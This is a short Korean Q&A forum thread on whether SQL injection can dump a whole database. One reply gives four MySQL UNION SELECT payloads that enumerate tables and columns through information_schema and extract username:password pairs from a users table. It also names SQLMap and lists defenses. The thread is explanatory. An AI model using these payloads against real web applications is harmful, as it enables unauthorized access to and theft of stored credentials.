본문 바로가기
Q&A2021년 7월 7일1분 읽기

SQL Injection으로 데이터베이스 전체를 덤프할 수 있나요?

윤
윤재혁
조회 743댓글 3

SQL Injection이 성공하면 DB 전체 데이터를 가져올 수 있는 건가요? 어떤 과정인지 궁금합니다.

댓글 3

김김영삼5년 전

SQL Injection 성공 시 DB 전체 덤프가 가능할 수 있습니다.

공격 단계 (MySQL 예시):

  1. DB 버전 확인: ' UNION SELECT version()-- -
  2. 테이블 목록:
    ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -
  3. 컬럼 확인:
    ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -
  4. 데이터 추출:
    ' UNION SELECT CONCAT(username,':',password) FROM users-- -

자동화 도구: SQLMap이 이 과정을 자동으로 수행합니다.

방어: Prepared Statement + 최소 권한 DB 계정(SELECT만 필요한 곳에 SELECT만 부여) + WAF

임임하늘(guest)5년 전
자세한 설명 감사합니다.
류류지훈(guest)5년 전
바로 실습해봐야겠습니다.
Ctrl+Enter로 등록